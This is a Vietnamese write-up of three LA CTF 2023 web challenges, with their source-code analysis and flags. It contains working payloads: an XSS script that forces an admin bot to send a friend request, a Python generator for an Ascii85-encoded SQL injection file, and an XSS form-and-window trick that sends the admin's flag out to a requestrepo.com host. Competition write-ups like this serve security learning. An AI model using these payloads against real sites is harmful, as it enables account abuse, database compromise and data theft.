🔰[LA CTF 2023] Re-writeup Web

Mở đầu

Giải này chỉ có đồng đội mình chơi RE CRYPTO, mà mình không có việc riêng nên không tham gia làm web cùng.

Mình có đọc một vài bài có một số kiến thức mình vừa research xong lab mà giải này có nên mình viết solution của một vài bài web của giải này.

Metaverse

Bài này đọc qua lúc đầu mình nghĩ là XSS nhưng khi đọc code thì mình thấy như này:

res.cookie("login", `${username}:${password}`, { httpOnly: true });

Mọi cái res đều trả về cookie với bằng cách set httpOnly: true, khi đó script không thể leak được cookie ra ngoài. Ở đây sau khi đăng ký tài khoản tài khoảng vào pass được set trong một map = [] có tên là accounts

const flag = process.env.FLAG;
const port = parseInt(process.env.PORT) || 8080;
const adminpw = process.env.ADMINPW || "placeholder";

const accounts = new Map();
accounts.set("admin", {
    password: adminpw,
    displayName: flag,
    posts: [],
    friends: [],
});

Nhận ra một điều nữa là flag ở displayName. Chúng ta sẽ xem xét đoạn code sau:

app.post("/friend", needsAuth, (req, res) => {
    res.type("text/plain");
    const username = req.body.username.trim();
    if (!accounts.has(username)) {
        res.status(400).send("Metauser doesn't metaexist");
    } else {
        const user = accounts.get(username);
        if (user.friends.includes(res.locals.user)) {
            res.status(400).send("Already metafriended");
        } else {
            user.friends.push(res.locals.user);
            res.status(200).send("ok");
        }
    }
});

Ở đây /friend kiểm tra username của friend, chú ý rằng nếu friend đó có tên bạn rồi thì sẽ response ra res.status(400).send("Already metafriended"); còn nếu không thì friend đó sẽ push mình vào danh sách -> có nghĩa là khi mình gửi kết bạn thì người đó thấy mình nhưng mình k thấy họ kiểu thế.

Ở đây như mình đã nói ban đầu thì /post có thể XSS nhưng ở đây chúng ta sẽ tạo script để gửi tới bot gửi kết bạn tới chúng ta, chúng ta có một function friend ở source code:

function friend() {
                fetch("/friend", {
                    method: "POST",
                    body: "username=" + encodeURIComponent(document.getElementById("friend").value),
                    headers: {
                        "Content-Type": "application/x-www-form-urlencoded",
                    },
                }).then((res) =>
                    res.text().then((t) => {
                        if (res.status !== 200) {
                            document.querySelector(".error")?.remove();
                            const error = document.createElement("p");
                            error.innerText = t;
                            error.classList.add("error");
                            document.body.insertAdjacentElement("afterbegin", error);
                        } else {
                            location.reload();
                        }
                    })
                );
            }

Oke từ đoạn code trên chúng ta sẽ tạo một script fetch tới nick của chúng ta và gửi cho bot:

<script>
    fetch("/friend", {
            method: "POST",
            body: "username= shangg",
            headers: {
                "Content-Type": "application/x-www-form-urlencoded",
            },
        })
</script>

Chèn script này vào post rồi lấy link post gửi cho bot.

Flag: lactf{please_metaget_me_out_of_here}

85_reasons_why

Mình đã lòng vòng một lúc trong trang này xem có gì không thì mình không khai thác được gì. Lúc bấy giờ mình quyết định tải code về đọc.

Đọc tới file views.py mình thấy một đoạn code như sau:

spic = serialize_image(incoming_file.read())

    try:
        res = db.session.connection().execute(\
            text("select parent as PID from images where b85_image = '{}' AND ((select active from posts where id=PID) = TRUE)".format(spic)))
    except Exception:
        return ("SQL error encountered", 500)

Ở đây có thể khai thác sql injection -> kiểu như: ' or 1=1--

Nhưng ở đây có một cái nữa là khi ảnh được up lên để search thì nó đi qua một hàm serialize_image\

Hàm này được code ở utils.py

def serialize_image(pp):
    b85 = base64.a85encode(pp)
    b85_string = b85.decode('UTF-8', 'ignore')

    # identify single quotes, and then escape them
    b85_string = re.sub('\\\\\\\\\\\\\'', '~', b85_string)
    b85_string = re.sub('\'', '\'\'', b85_string)
    b85_string = re.sub('~', '\'', b85_string)

    b85_string = re.sub('\\:', '~', b85_string)
    return b85_string

def deserialize_image(b85):
    ret = b85
    ret = re.sub('~', ':', b85)
    raw_image = base64.a85decode(ret)
    b64 = base64.encodebytes(raw_image).decode('UTF-8')
    return 'data:image/png;base64, ' + b64

def deserialize_images(post):
    ret = []
    for i in range(len(post.images)):
        # It's no longer b85 but oh well
        ret.append(deserialize_image(post.images[i].b85_image))

    return ret

Ở đây hàm serialize_image() thự hiện a85endcode (Encode the bytes-like object b using base85 and return the encoded bytes.). Sau đó nó decode base85 và lọc đi các ký tự.

Một cái nữa là base85 không decode ra khoảng trắng, mình đã test payload nhưng print nó ra thì không được: bypass khoảng trắng = /**/

Payload sẽ như sau:

import base64
import re

def serialize_image(pp):
    b85 = base64.a85encode(pp)
    b85_string = b85.decode('UTF-8', 'ignore')

    # identify single quotes, and then escape them
    b85_string = re.sub('\\\\\\\\\\\\\'', '~', b85_string)
    print(f'1 {b85_string}')
    b85_string = re.sub('\'', '\'\'', b85_string)
    print(f'2 {b85_string}')
    b85_string = re.sub('~', '\'', b85_string)
    print(f'3 {b85_string}')
    b85_string = re.sub('\\:', '~', b85_string)
    print(f'4 {b85_string}')
    return b85_string

payload = "\\\\\\'/**/or/**/1=1--"
# ' or 1=1 --


print(serialize_image(base64.a85decode(payload)))

#write byte in payload
f = open("payload", "wb")
f.write(base64.a85decode(payload))

The follow code ở file utils.py chúng ta có đoạn payload như trên, payload trên giúp chúng ta sau những lần re.sub() ->' or 1=1 --

Flag: lactf{sixty_four_is_greater_than_eigthy_five_a434d1c0e0425c3f}

California-state-police

Bài này khá hay, nó có kiến thức mình vừa học, bài có source code trước nên chúng ta bắt tay vào review thôi.

const express = require("express");
const path = require("path");
const { v4: uuid } = require("uuid");
const cookieParser = require("cookie-parser");

const flag = process.env.FLAG;
const port = parseInt(process.env.PORT) || 8080;
const adminpw = process.env.ADMINPW || "placeholder";

const app = express();

const reports = new Map();

let cleanup = [];

setInterval(() => {
    const now = Date.now();
    let i = cleanup.findIndex(x => now < x[1]);
    if (i === -1) {
        i = cleanup.length;
    }
    for (let j = 0; j < i; j ++) {
        reports.delete(cleanup[j][0]);
    }
    cleanup = cleanup.slice(i);
}, 1000 * 60);

app.use(cookieParser());
app.use(express.urlencoded({ extended: false }));

app.get("/flag", (req, res) => {
    res.status(400).send("you have to POST the flag this time >:)");
});

app.post("/flag", (req, res) => {
    if (req.cookies.adminpw === adminpw) {
        res.send(flag);
    } else {
        res.status(400).send("no hacking allowed");
    }
});

app.use((req, res, next) => {
    res.set(
        "Content-Security-Policy",
        "default-src 'none'; script-src 'unsafe-inline'"
    );
    next();
});

app.post("/report", (req, res) => {
    res.type("text/plain");
    const crime = req.body.crime;
    if (typeof crime !== "string") {
        res.status(400).send("no crime provided");
        return;
    }
    if (crime.length > 2048) {
        res.status(400).send("our servers aren't good enough to handle that");
        return;
    }
    const id = uuid();
    reports.set(id, crime);
    cleanup.push([id, Date.now() + 1000 * 60 * 60 * 3]);
    res.redirect("/report/" + id);
});

app.get("/report/:id", (req, res) => {
    if (reports.has(req.params.id)) {
        res.type("text/html").send(reports.get(req.params.id));
    } else {
        res.type("text/plain").status(400).send("report doesn't exist");
    }
});

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.listen(port, () => {
    console.log(`Listening on port ${port}`);
});

Chúng ta chú ý rằng ở đây / được set header Content-Security-Policy: default-src 'none'; script-src 'unsafe-inline'

  • default-src 'none' -> không thể load được tài nguyên từ domain khác kể cả server

Đây có điều đang nói là CSP này nó ảnh hưởng trừ / xuống dưới(next()) còn ở /flag thì không.

Phân tích đoạn code sau:

  • /flag phải sử dụng method POST tới /flag, nếu mà cookie thuộc admin thì resp ra flag còn không thì no hacking alllowed.

Chúng ta sẽ sử dụng window.open() để mở /flag ra sau đó show /flag của admin tới sever của mình.(Giống một bài mình từng làm ở giải Wrek CTF)

Payload sẽ như sau:

<form method="POST" id="form" action="/flag" target='shang'>
</form>
<script>
//Ở đây k cần truyền url, nó sẽ tự target cùng name với nhau.
    const w = window.open('', 'shang')
    form.submit()
    setTimeout(() => {
        location = 'http://dn17ybmm.requestrepo.com?flag=' + w.document.body.innerText
    }, 500)
</script>l

Flag: flag=lactf{m4yb3_g1v1ng_fr33_xss_1s_jus7_4_b4d_1d3a}

Cảm ơn mọi người đã đọc bài mình viết, trên đây chỉ có một vài bài mình cảm thấy hay và mình quyết định viết solution....Hẹn gặp các bạn vào giải tiếp theo!!!

Last updated